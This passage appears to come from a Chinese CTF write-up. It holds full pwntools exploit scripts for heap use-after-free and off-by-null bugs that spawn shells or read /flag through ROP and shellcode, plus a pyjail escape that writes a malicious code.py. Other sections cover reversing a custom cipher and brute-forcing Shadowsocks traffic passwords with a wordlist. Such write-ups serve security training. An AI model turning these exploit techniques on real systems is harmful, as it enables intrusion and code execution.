}, length=0x180 - 8 - 1, filler='\x00')
log.hexdump(list_obj_buf)
list_obj_mov_string = calc_mov_string(list_obj_buf)
sendcmd("list_obj = {}".format(list_obj_mov_string))
sendcmd("next(b)[0]")
sh.recvuntil('"')
pie = u64(sh.recv(6) + '\x00\x00') - 0x90f0
system = pie + 0x2580
log.success("pie:\t" + hex(pie))
gc(0x200000)
sh.sendline("c = [1, range(1, 10)]")
sendcmd("d = iter(c)")
sendcmd("c.pop()")
sendcmd("next(d)")
gc(0x200000)
data_object_offset = 0xEF0
data_str_function_offset = data_object_offset + 0x50
data_object_buf = flat({
# data object
data_object_offset: "/bin/sh\x00",
data_str_function_offset: p64(system),
}, length=0x1590 - 8 - 1, filler='\x00')
log.hexdump(data_object_buf)
data_obj_mov_string = calc_mov_string(data_object_buf)
sendcmd("data_obj = {}".format(data_obj_mov_string))
sendcmd("str(next(d))") # call data object str function
sh.interactive()
warmup23
2.35 Off by null,堆风水造UAF,chunk overlap 进行libc got hijack
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'
def cmd(idx):
p.sendlineafter(">> ",str((idx)))
def add(size,payload="A"):
cmd(1)
p.sendlineafter("Size:",str(size))
sa("Note:",payload)
def free(idx):
cmd(3)
p.sendlineafter("Index:",str(idx))
def show(idx):
cmd(2)
p.sendlineafter("Index:",str(idx))
def exp():
#context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = "debug"
add(0x418, "A"*0x100) #0 A = P->fd
add(0x108-0x20) #1 barrier
add(0x438, "B0"*0x100) #2 B0 helper
add(0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
add(0x78,'4'*0x70) #4 barrier
add(0x488, "H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
add(0x428, "D"*0x100) # 6 D = P->bk
add(0x300) # 7 barrier
# =============================================
# step 2 use unsortedbin to set p->fd =A , p->bk=D
free(0) # A
free(3) # C0
free(6) # D
# unsortedbin: D-C0-A C0->FD=A
free(2) # merge B0 with C0. preserve p->fd p->bk
add(0x458, 'a' * 0x438 + p64(0x4c1)[:-2])#0 #2# put A,D into largebin, split BC. use B1 to set p->size=0x551
# recovery
add(0x418)#2 # C1 from ub #3
add(0x428) #3 # bk D from largebin #6
add(0x418,"0"*0x100)#6 # fd A from largein #0
# =============================================
# step3 use unsortedbin to set fd->bk
# partial overwrite fd -> bk
free(6) # A=P->fd
free(2) # C1
# unsortedbin: C1-A , A->BK = C1
add(0x418, 'a' * 8)#2 # 2 partial overwrite bk A->bk = p
add(0x418) #6
# # =============================================
# # step4 use ub to set bk->fd
free(6) # C1
free(3) # D=P->bk
# ub-D-C1 D->FD = C1
free(5) # merge D with H, preserve D->fd
add(0x500-8, '6'*0x488 + p64(0x431))#3 # H1. bk->fd = p, partial write \x00
add(0x3b0) # recovery
# off by null
free(4)
add(0x78,"4"*0x70 + p64(0x4c0))
add(0x410,"aaaa")
free(3)
add(0x430,"a"*0x10 + p64(0) + p64(0x421 + 0x50))
show(4)
libc_base = l64() - 0x219ce0
lg("libc_base",libc_base)
add(0x300,p64(0x21)*14)
free(8)
show(4)
p.recvuntil("Note: ")
key = u64(p.recv(5).ljust(8,'\x00'))
heap_addr = key << 12
lg("heap_addr",heap_addr)
lg("key",key)
plt0 = libc_base + libc.get_section_by_name(
".plt").header.sh_addr
heap_base = heap_addr - 0x1000
got0_addr = libc_base + libc.dynamic_value_by_tag("DT_PLTGOT")
lg("got0_addr",got0_addr)
pop_rsp = libc_base + 0x0000000000035732
leaver = libc_base + 0x000000000004da83
pop_rdi = libc_base + 0x000000000002a3e5
pop_rdx = libc_base + 0x00000000000796a2
pop_rsi = libc_base + 0x000000000002be51
pop_rax = libc_base + 0x0000000000045eb0
syscall = libc_base + 0x0000000000091316
# free(7)
add(0x300)
free(7)
free(8)
free(6)
stderr = libc_base + libc.sym["_IO_2_1_stderr_"]
stderr_chain = stderr + 104-0x8
add(0x461,"a"*0x410 + p64(0) + p64(0x311) + p64(got0_addr ^ key))
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook& ~0xfff
frame = SigreturnFrame()
frame.rcx = 0x1235
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x1000
frame.rax = 0
frame.rsp = free_hook1
frame.rip = syscall
# print(type(frame.))
frame = str(frame)
frame = frame.ljust(0x1e0,"\x00")
frame += p64(0x1F80)
add(0x300,frame[0:0xe0] + p64(libc_base + libc.sym["environ"]) + frame[0xe8:] )
setcontext = 0x53a00 + libc_base
payload = p64(0x218bc0) + p64(heap_addr + 0x50) + p64(setcontext)
payload = payload.ljust(0x98,'\x00')
payload += p64(plt0)
lg("plt0",plt0)
add(0x300,payload)
rop = flat({
0:[pop_rdi,0,pop_rsi,free_hook1 + 0x200,pop_rdx,0x1000,pop_rax,0,syscall,pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,pop_rax,10,syscall,free_hook1 + 0x200]
})
p.send(rop)
# attach(p)
sc = shellcraft.open("/flag",0)
sc += shellcraft.read("rax",free_hook1 + 0x400,0x100)
sc += shellcraft.write(1,free_hook1 + 0x400,0x100)
sc = asm(sc)
p.send(sc)
p.interactive()
if __name__ == "__main__":
binary = './warmup'
elf = ELF('./warmup')
context.binary = binary
libc = ELF("./libc.so.6")
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
exp()
simpleinterpreter
from pwn import *
#sh = process('./simpleinterpreter')
sh = remote('101.200.122.251', 13410)
context.log_level = "debug"
code = '''
int main()
{
void* p1;
void* p2;
void* p3;
void* p4;
void* p5;
p1 = malloc(0x500);
p2 = malloc(0x18);
p3 = malloc(0x18);
free(p1);
printf(p1);
free(p3);
free(p2);
read(0, p2, 8);
p4 = malloc(0x18);
p5 = malloc(0x18);
read(0, p5, 0x10);
free(p5);
return 0;
}'''
sh.sendlineafter("Code size:", str(len(code)))
sh.sendafter("Please give me the code to interpret:", code)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebca0
log.success("libc_base:\t" + hex(libc_base))
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f420
sh.send(p64(free_hook - 8))
sh.send("/bin/sh\x00" + p64(system))
sh.interactive()
Reverse
Ezre
在main函数看不出什么,然后发现奇怪函数并且可知这是SM4
于是往上搜索发现其密钥与密文,再往上找可以知道ptrace等出题原貌,不过flag在这已经可以得知
无魔改SM4直接解密即可
UNNAME
直接看so文件check,依托答辩,调着逆吧,时间问题
嗯调试分析并配合好看的BN
IDA有调试所以主要还是在IDA
do
{
while ( 1 )
{
cnt_and_7 = cnt & 7;
if ( (cnt & 3) != 0 )
break;
key_part = &key + 2 * cnt_and_7;
data_part = (int64x2_t *)(&data + 2 * (cnt >> 2));
T = vaddq_s64(data_part[1], input_sub_part);
tmp1 = data_part->part[1] + *((_QWORD *)&input_pre_part + 1);
out_0 = data_part->part[0] + input_pre_part + tmp1;
out_3 = __ROR8__(tmp1, -*key_part) ^ out_0;
*(_QWORD *)&input_pre_part = out_0;
rotNum2 = __ROR8__(T.part[1], -key_part[1]);
input_sub_part.part[1] = out_3;
out_2 = vaddvq_s64(T);
out_1 = rotNum2 ^ out_2;
*((_QWORD *)&input_pre_part + 1) = out_1;
++cnt;
input_sub_part.part[0] = out_2;
if ( cnt == 72 )
goto LABEL_147;
}
key_part1 = &key + 2 * cnt_and_7;
out_0 = *((_QWORD *)&input_pre_part + 1) + input_pre_part;
*(_QWORD *)&input_pre_part = out_0;
out_3 = __ROR8__(*((_QWORD *)&input_pre_part + 1), -*key_part1) ^ out_0;
input_sub_part.part[0] = vaddvq_s64(input_sub_part);
v63 = __ROR8__(input_sub_part.part[1], -key_part1[1]);
out_2 = input_sub_part.part[0];
input_sub_part.part[1] = out_3;
out_1 = v63 ^ input_sub_part.part[0];
*((_QWORD *)&input_pre_part + 1) = out_1;
++cnt;
}
while ( cnt != 72 );
LABEL_147:
*(_QWORD *)&v64 = out_0 + 0x5474374041455247LL;
*(_QWORD *)&v65 = out_2 + 0xBAD39663B0B3ADD3uLL;
*((_QWORD *)&v64 + 1) = out_1 + 0x823ECE10EBF188BEuLL;
*((_QWORD *)&v65 + 1) = out_3 + 0x6523745F644E5642LL;
v127 = xmmword_7B9C280770;
v128 = xmmword_7B9C2807D0;
v87 = v64;
v88 = v65;
if ( !((out_0 + 0x5474374041455247LL) ^ 0x6835B4293DD0D39ELL | (out_1 + 0x823ECE10EBF188BEuLL) ^ 0xE69C68D3BC875A19LL | (out_2 + 0xBAD39663B0B3ADD3uLL) ^ 0x1B69DAF30AE1351FLL | (out_3 + 0x6523745F644E5642LL) ^ 0xACA0DA795EF62809LL) )
v47 = "right!";
}
于是对应写出正向加密脚本
data = [0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455247, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6366, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E71, 0x5474374041455247, 0x823ECE10EBF188BE, 0xBAD39663B0B3ADD3, 0x6523745F644E5633, 0x33E95EAA8C9B6365, 0xBAD39663B0B3ADD3, 0x9F44A2B46C50D06D, 0x5F30535F59333363, 0x465F5530595F4E6F, 0x9F44A2B46C50D06D, 0xAD85C2C5B88958B8, 0x547437404145524C, 0x6523745F644E5630, 0xAD85C2C5B88958B8, 0xC8E878739899B1AB, 0x33E95EAA8C9B636B, 0x5F30535F5933335F, 0xC8E878739899B1AB, 0x6E0A8CFF949DDDA2, 0x465F5530595F4E76, 0x5474374041455247, 0x6E0A8CFF949DDDA2, 0x94B4C496B8B573C8, 0x6523745F644E5638, 0x33E95EAA8C9B6365, 0x94B4C496B8B573C8, 0xD997B592BBA2B594, 0x5F30535F59333368, 0x465F5530595F4E6F, 0xD997B592BBA2B594, 0x995181B46135AD9C, 0x5474374041455251, 0x6523745F644E5630, 0x995181B46135AD9C, 0xA2C9A6A6A09B77A0, 0x33E95EAA8C9B6370, 0x5F30535F5933335F, 0xA2C9A6A6A09B77A0, 0xA85D9FDDE3EFC2C9, 0x465F5530595F4E7B, 0x5474374041455247, 0xA85D9FDDE3EFC2C9, 0x808083856161C8AC, 0x6523745F644E563D, 0x33E95EAA8C9B6365, 0x808083856161C8AC, 0xB378E3C5C3A47B89, 0x5F30535F5933336D, 0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455256, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6375, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E80]
key = [0x0E, 0x10, 0x34, 0x39, 0x17, 0x28, 0x05, 0x25, 0x19, 0x21, 0x2E, 0x0C, 0x3A, 0x16, 0x20, 0x20]
input = [0x3837363534333231, 0x6463626164636261, 0x3132333435363738, 0x6867666568676665]
# & 0xFFFFFFFFFFFFFFFF
def rol(num, n):
return ((num << n) & 0xFFFFFFFFFFFFFFFF) | ((num >> (64 - n)) & 0xFFFFFFFFFFFFFFFF)
def tellme(input):
for i in range(4):
print(hex(input[i]), end = ", ")
print()
print()
i = 0
while(i < 72):
i_and_7 = i & 7
if (i & 3) == 0:
data_part = [data[(i >> 2) * 4], data[(i >> 2) * 4 + 1]]
# print(hex(data_part[0]), hex(data_part[1]))
key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
# print(hex(key_part[0]), hex(key_part[1]))
T = [(data[(i >> 2) * 4 + 2] + input[2]) & 0xFFFFFFFFFFFFFFFF, (data[(i >> 2) * 4 + 3] + input[3]) & 0xFFFFFFFFFFFFFFFF]
tmp1 = (data_part[1] + input[1]) & 0xFFFFFFFFFFFFFFFF
out_0 = (data_part[0] + input[0] + tmp1) & 0xFFFFFFFFFFFFFFFF
# print(hex(tmp1), hex(out_0))
out_3 = rol(tmp1, key_part[0]) ^ out_0
# print(hex(out_3))
input[0] = out_0
ror_num2 = rol(T[1], key_part[1])
# print(hex(ror_num2))
input[3] = out_3
out_2 = (T[0] + T[1]) & 0xFFFFFFFFFFFFFFFF
out_1 = ror_num2 ^ out_2
# print(hex(out_1))
input[1] = out_1
input[2] = out_2
i += 1
print("round:{}".format(hex(i)), end =" ")
tellme(input)
else:
key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
# print(hex(key_part[0]), hex(key_part[1]))
out_0 = (input[0] + input[1]) & 0xFFFFFFFFFFFFFFFF
input[0] = out_0
out_3 = rol(input[1], key_part[0]) ^ out_0
# print(hex(out_3))
input[2] = (input[2] + input[3]) & 0xFFFFFFFFFFFFFFFF
out_2 = input[2]
# print(hex(out_2))
v63 = rol(input[3], key_part[1])
input[3] = out_3
out_1 = v63 ^ input[2]
# out_1 = rol(input[3], key_part[1]) ^ out_2
# print(hex(out_1))
input[1] = out_1
i += 1
print("round:{}".format(hex(i)), end =" ")
tellme(input)
print(hex((0x6835B4293DD0D39E - 0x5474374041455247) & 0xFFFFFFFFFFFFFFFF), end = ",")
print(hex((0xE69C68D3BC875A19 - 0x823ECE10EBF188BE) & 0xFFFFFFFFFFFFFFFF), end = ",")
print(hex((0x1B69DAF30AE1351F - 0xBAD39663B0B3ADD3) & 0xFFFFFFFFFFFFFFFF), end = ",")
print(hex((0xACA0DA795EF62809 - 0x6523745F644E5642) & 0xFFFFFFFFFFFFFFFF), end = ",")
数据测没问题,然后写逆向脚本,出!
from z3 import *
input = [BitVec("input[%d]" % i, 64) for i in range(4)]
sol = Solver()
data = [0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455247, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6366, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E71, 0x5474374041455247, 0x823ECE10EBF188BE, 0xBAD39663B0B3ADD3, 0x6523745F644E5633, 0x33E95EAA8C9B6365, 0xBAD39663B0B3ADD3, 0x9F44A2B46C50D06D, 0x5F30535F59333363, 0x465F5530595F4E6F, 0x9F44A2B46C50D06D, 0xAD85C2C5B88958B8, 0x547437404145524C, 0x6523745F644E5630, 0xAD85C2C5B88958B8, 0xC8E878739899B1AB, 0x33E95EAA8C9B636B, 0x5F30535F5933335F, 0xC8E878739899B1AB, 0x6E0A8CFF949DDDA2, 0x465F5530595F4E76, 0x5474374041455247, 0x6E0A8CFF949DDDA2, 0x94B4C496B8B573C8, 0x6523745F644E5638, 0x33E95EAA8C9B6365, 0x94B4C496B8B573C8, 0xD997B592BBA2B594, 0x5F30535F59333368, 0x465F5530595F4E6F, 0xD997B592BBA2B594, 0x995181B46135AD9C, 0x5474374041455251, 0x6523745F644E5630, 0x995181B46135AD9C, 0xA2C9A6A6A09B77A0, 0x33E95EAA8C9B6370, 0x5F30535F5933335F, 0xA2C9A6A6A09B77A0, 0xA85D9FDDE3EFC2C9, 0x465F5530595F4E7B, 0x5474374041455247, 0xA85D9FDDE3EFC2C9, 0x808083856161C8AC, 0x6523745F644E563D, 0x33E95EAA8C9B6365, 0x808083856161C8AC, 0xB378E3C5C3A47B89, 0x5F30535F5933336D, 0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455256, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6375, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E80]
key = [0x0E, 0x10, 0x34, 0x39, 0x17, 0x28, 0x05, 0x25, 0x19, 0x21, 0x2E, 0x0C, 0x3A, 0x16, 0x20, 0x20]
enc = [ 0xcd665047be660a98, 0x1dc530058008afb1, 0xcd18d750b67a2484, 0xfb2ea0083e92159f]
enc = [0x13c17ce8fc8b8157,0x645d9ac2d095d15b,0x6096448f5a2d874c,0x477d6619faa7d1c7]
def rol(num, n):
return ((num << n) & 0xFFFFFFFFFFFFFFFF) | (num >> (64 - n)) & 0xFFFFFFFFFFFFFFFF
def tellme(input):
for i in range(4):
print(hex(input[i]), end = ", ")
print()
print()
i = 71
while (i >= 0):
i_and_7 = i & 7
if (i & 3) == 0:
data_part = [data[(i >> 2) * 4], data[(i >> 2) * 4 + 1]]
# print(hex(data_part[0]), hex(data_part[1]))
key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
T = [0, 0]
out_1 = enc[1]
out_2 = enc[2]
ror_num2 = out_1 ^ out_2
out_3 = enc[3]
out_0 = enc[0]
T[1] = rol(ror_num2, (64 - key_part[1]))
T[0] = (out_2 - T[1]) & 0xFFFFFFFFFFFFFFFF
tmp1 = rol(out_0 ^ out_3, (64 - key_part[0]))
enc[0] = (out_0 - tmp1 - data_part[0]) & 0xFFFFFFFFFFFFFFFF
enc[1] = (tmp1 - data_part[1]) & 0xFFFFFFFFFFFFFFFF
enc[2] = (T[0] - data[(i >> 2) * 4 + 2]) & 0xFFFFFFFFFFFFFFFF
enc[3] = (T[1] - data[(i >> 2) * 4 + 3]) & 0xFFFFFFFFFFFFFFFF
i -= 1
print("round:{}".format(hex(i)), end =" ")
tellme(enc)
else:
key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
out_0 = enc[0]
out_1 = enc[1]
out_2 = enc[2]
out_3 = enc[3]
enc[3] = rol(out_1 ^ out_2, (64 - key_part[1]))
enc[1] = rol(out_0 ^ out_3, (64 - key_part[0]))
enc[0] = (out_0 - enc[1]) & 0xFFFFFFFFFFFFFFFF
enc[2] = (out_2 - enc[3]) & 0xFFFFFFFFFFFFFFFF
i -= 1
print("round:{}".format(hex(i)), end =" ")
tellme(enc)
import struct
flag = b''
for i in range(4):
flag += struct.pack("<Q", enc[i])
print(flag)
# flag{7hIs_I$_nEw_Try1N9_@cu7U@1}
MISC
Happy Chess
import numpy as np
import sympy as sp
def getA():
a=[]
for i in range(81):
b=[]
for j in range(81):
if i/9==j/9 or i%9==j%9:
b.append(1)
else:
b.append(0)
a.append(b)
return a
def gaussian_elimination(A, b):
# 合并矩阵A和向量b
augmented_matrix = np.column_stack((A, b))
# 进行高斯消元
n = len(b)
for i in range(n):
# 将当前列的主元素调整为1
augmented_matrix[i] = augmented_matrix[i] / augmented_matrix[i, i]
# 将其他行的当前列元素消为0
for j in range(n):
if i != j:
augmented_matrix[j] = augmented_matrix[j] - augmented_matrix[j, i] * augmented_matrix[i]
# 提取解向量
solution = augmented_matrix[:, -1]
return solution
a=np.array(getA())
b=np.array([0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0])
b=np.array([1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1])
#print(sharpe(a))
A_sp = sp.Matrix(a)
B_sp = sp.Matrix(b)
print(np.linalg.cond(a))
#aaaaa = np.linalg.solve(a, b)
#X, residuals, rank, s = np.linalg.lstsq(a, b, rcond=None)
#x_sp = A_sp.solve_least_squares(B_sp)
#x_frac = [sp.nsimplify(val) for val in x_sp]
#x_frac=solve_linear_equations(a,b)
x_frac=gaussian_elimination(a,b)
x_2=[]
numofFushu=0
for i in x_frac:
#out=eval(str(i).replace('/','%'))
out=eval(str(i))
if out<0:
numofFushu+=1
x_2.append(out)
x_3=[]
for i in range(len(x_2)):
if (numofFushu>40 and x_2[i]>0) or (numofFushu<40 and x_2[i]<0):
x_3.append(1)
print(f'{i//9+1} {i%9+1}')
#print(f'{i%9+1} {i//9+1}')
else:
x_3.append(0)
print(x_3)
#for i in range(len)
#print(x_3.reshape((9,9)))
谍影重重3.0
流量,从特征来看是ss
然后按照这些文章可以进行解密,但是得算key,就是aes256加密
https://blog.rexskz.info/redirect-attack-weakness-of-ss-stream-cipher.html
key, _ = EVP_BytesToKey(password, key_len, iv_len)
纸飞机一共支持['aes-128-cbc', 'aes-192-cbc', 'aes-256-cbc', 'aes-128-cfb', 'aes-192-cfb', 'aes-256-cfb', 'aes-128-ofb', 'aes-192-ofb', 'aes-256-ofb', 'aes-128-ctr', 'aes-192-ctr', 'aes-256-ctr']这么多种算法,挨个爆破弱密码
实际上是aes-256-cfb 明文密码superman 转换过的密码是84d961568a65073a3bcf0eb216b2a576af2a352c99aa141584edf2874f7c60a5
iv长16个字节
tcp分片了,数据包no7放no6后面,解码得到完整的word文档
dc7e57298e65949102c17596f1934a97
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
def EVP_BytesToKey(password, key_len, iv_len):
# equivalent to OpenSSL's EVP_BytesToKey() with count 1
# so that we make the same key and iv as nodejs version
if hasattr(password, 'encode'):
password = password.encode('utf-8')
# cached_key = '%s-%d-%d' % (password, key_len, iv_len)
# r = cached_keys.get(cached_key, None)
# if r:
# return r
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
# cached_keys[cached_key] = (key, iv)
return key, iv
OpenSSLCrypto=None
ciphers = {
'aes-128-cbc': (16, 16, OpenSSLCrypto),
'aes-192-cbc': (24, 16, OpenSSLCrypto),
'aes-256-cbc': (32, 16, OpenSSLCrypto),
'aes-128-cfb': (16, 16, OpenSSLCrypto),
'aes-192-cfb': (24, 16, OpenSSLCrypto),
'aes-256-cfb': (32, 16, OpenSSLCrypto),
'aes-128-ofb': (16, 16, OpenSSLCrypto),
'aes-192-ofb': (24, 16, OpenSSLCrypto),
'aes-256-ofb': (32, 16, OpenSSLCrypto),
'aes-128-ctr': (16, 16, OpenSSLCrypto),
'aes-192-ctr': (24, 16, OpenSSLCrypto),
'aes-256-ctr': (32, 16, OpenSSLCrypto),
'aes-128-cfb8': (16, 16, OpenSSLCrypto),
'aes-192-cfb8': (24, 16, OpenSSLCrypto),
'aes-256-cfb8': (32, 16, OpenSSLCrypto),
'aes-128-cfb1': (16, 16, OpenSSLCrypto),
'aes-192-cfb1': (24, 16, OpenSSLCrypto),
'aes-256-cfb1': (32, 16, OpenSSLCrypto),
'bf-cfb': (16, 8, OpenSSLCrypto),
'camellia-128-cfb': (16, 16, OpenSSLCrypto),
'camellia-192-cfb': (24, 16, OpenSSLCrypto),
'camellia-256-cfb': (32, 16, OpenSSLCrypto),
'cast5-cfb': (16, 8, OpenSSLCrypto),
'des-cfb': (8, 8, OpenSSLCrypto),
'idea-cfb': (16, 8, OpenSSLCrypto),
'rc2-cfb': (16, 8, OpenSSLCrypto),
'rc4': (16, 0, OpenSSLCrypto),
'seed-cfb': (16, 16, OpenSSLCrypto),
}
# aes = AES.MODE_CTR
# method = "aes-128-ctr"
# aes = AES.MODE_CFB
# method = "aes-256-cfb"
import sys
method = sys.argv[1]
assert method in ciphers
if method.endswith("-ctr"):
aes = AES.MODE_CTR
elif method.endswith("-cfb"):
aes = AES.MODE_CFB
elif method.endswith("-cbc"):
aes = AES.MODE_CBC
elif method.endswith("-ofb"):
aes = AES.MODE_OFB
else:
raise Exception("unknown method")
key_size,iv_size,_ = ciphers[method]
print(method,key_size,iv_size)
encrypted_data = bytes.fromhex("d4a63b413a4f43446494c8945fef1d10813a091b8c5f5e3051adaca0b429c5a6e05531ee93ed1bca154f5ac4665c26112530284b5c9b38a74d605861dcd0172ba53c811473fcc877dc7da3688798bd06a731b960eaffe0b3ac59c3bfda54a6ef7329bc3d0e6f69680ca7a362e4618a879d53e4a610770331f1d8901579eefc8275f72d50c4ab264dd010826175ed1c08668a7b9d343da1061dbde408cc48385ca0f3a7b9b6ea50987084a7172499a21475cfd01cc3dd2b090d0f02b21081d7918aeeef0e4cba7602e567d247b9a57e0fc53e7e753acfd2ee206548ef506ff8955b3b8f6eef6477cb244134204cef23eb179e880db517c2134c8e3f0c9f276111ac2cb65522513c24bb2c1e8fbd4e648ac47993085a0a6eb08c637ca7e7e159166e7230fb9ad0a952aeda34cc4b07721b226e9e11cd96e06bdc17c8c33afa6b6d5008fdbd68885c630c8f08f45e6e9eb448a077b9d5e96bcee817d15960747c40533264f9498445c1dcad4eacf6adedd6be55f5d5ab030fb75273e9f1d321bdd93c65d06d6bdf7578e9788975766aca016f522abb160ac54b40820f0752a596420aee4abe797e2512f964e94856546500b9a0a809b785883fc1c0c5760b8d43f2f0c3c8b4cf9f65a28ecc38664d7ca38b277a0ccc669b7f5d8d93cfb1182a800213f43b2e99dc0115f68c85f172bfc020e66469fc7b366dc2e44402739740b7fbae3f69f7e6926398c5dece5dcc66f1115e3a64cd918ffc5b391696e480050023965287022b8da544ef43241b7996e2e3761018eda61bf7225febe77188372a24964c3d67480d850874b80a9022ae268b768c0fdf45c49a67de89ef647eb57b1008151367719825e9a0b48a7a1ada525a5d5cb738d57dc337451c4a84c8429815de886d7efd2d9ad97da4b0a8801437bc97758b79acee1749753f94bfa1ab19411d34c7194c78b857a09ee850171eb663bd1979f9fed15a5f82e1f627ebe1187d751d8a1ce42d84fb76ea9c7e986183f8d3899de183e82e8eac15546efc4262d028d18dfea47cc249aae9387847020f5a52a3533a67c92f8f42eacff5319f803daddacdb6d2c37a495e9799c29e5730fa7ad7ebdf68dc8444426be9d6b14e15d27effde56502f29bfd4e2f3cb03ddd7f49961e2677b05194479d2fed9d3c8e3d4a3e1eb367b5cc915d39f31aaa573a48a195ca91450bb031a4c333c1d54bb42f3b121c407c136a181cb8b1901187ae13015357ed3d5424f02cdb1ab4512b9259fa297f201d2934955ce44ee67888a2a2db38805fc102fd932ff20eefeb7691c41db085aee8a61f5a09f55e593d4326e6cbbcf3eb783e1da3e3bf51ffe3cf2feacdd88ae5ccbe171ee5282f920a6f97c6183d6f2b6d30bf310c4d52b3336f9e45e9d7e73ed15bfa68d0391f075bf511d1ad3e505e467bbfeb64585549ace564314947531c9af4e27f671462453d42ca3f15b5c96beb9e3bee8513158f35b22dacc7b02abffa04cf5eea6a1468a0a1b9167ff987160bb698bc37300173b9ec79de686bc7c9181f0cbab5ea1106ce99adca4e7c6660a47c9147ecdb96875cd2c16c79eb0b3f318d30201d07b970f7af9992f2394f5d6492be8f2124c3084fb67f0ce3e7556e7185e5c77fb99603208b482e52487aacd98a8f3c725dbfab4c1bd35f36a45d9c8ca2cb71163f22c640d80b222c1ca26ecc12296af0e2809e455c9b18a007adab2b9748e7f99c2f80f2d6b27d79564f0f73d75a3e3a3d46ed68c23ccbf982e4c3d3e5631f3bb7f546bdaa75bf2c665dbd63fd7d20dcea7c24a746163b4f24f91f31555659587907aff7a743e35066e238b811976c2ed41fa119a303f64105eefb5d41ac07a5275edf3fd9b3d811c2fe7a5860f7fb2c0d783fa232f3037487b5e130afb87601c85f28fad64c6d97dc66718ebcebb15adbbc9c526707b815cebd6ff329c514a8997bb831b73e69a7fd6a253bcc11911cdbd9eb14eeb8fbf14d1c1977cb148fd1d77d2bf30cfa61d08cff8812a851f4896e1b005d004f0de0996172c2c6506d2ea15b01f4c5595c4ce589e8b")
iv = encrypted_data[:iv_size]
encrypted_data = encrypted_data[iv_size:]
def int_of_string(s):
return int(binascii.hexlify(s), 16)
import binascii
from Crypto.Util import Counter
def test(key):
if len(key)>0:
key ,_ = EVP_BytesToKey(key, key_size, iv_size)
# use key as AES key to decrypt encrypted_data
if aes == AES.MODE_CTR:
counter = Counter.new(128, initial_value=int_of_string(iv))
cipher = AES.new(key, aes,counter=counter)
else:
cipher = AES.new(key, aes,iv)
decrypted_data = cipher.decrypt(encrypted_data)
return decrypted_data
def main():
i=0
dictionary = open("/mnt/d/program_tools/web/burp_v1.7.26/dictionary/rockyou.txt", "rb")
for line in dictionary:
key = line.strip()
if key == b"":
continue
result = test(key)
if b'HTTP' in result:
print(result)
print(method,i,key)
# break
if i%1000==0:
print("\r"+str(i),end="")
i+=1
main()
Pyjail ! It's myFILTER !!!
Can u input your code to escape > {print(open("/proc/1/environ").read())}
HOSTNAME=engine-1HOME=/home/ctfICQ_FLAG=
Pyjail ! It's myRevenge
思维从任意文件读取变为任意文件写入之后RCE,经过测试题目中的code模块似乎是不存在的?所以我们可以写入一个code.py,当我们再次NC的时候就会触发恶意代码。
payload如下
{open("cod"+"e.py","w").write("eva"+"l(inpu"+"t())")}
当我们第二次nc的时候我们只需要__import__('os').system('cat flag*')
即可获取flag
谍影重重2.0
应该是找方法去看流量中的ICAO CODE
ADS-B解码
使用tshark直接提取tcp.payload
tshark -r attach.pcapng -T fields -e "tcp.payload" | sed '/^\s*$/d' > adsdata.txt
然后
import pyModeS as pms
with open("./1.txt","r") as f:
data=f.read().split("\n")
for i in data:
msg=i[18:]
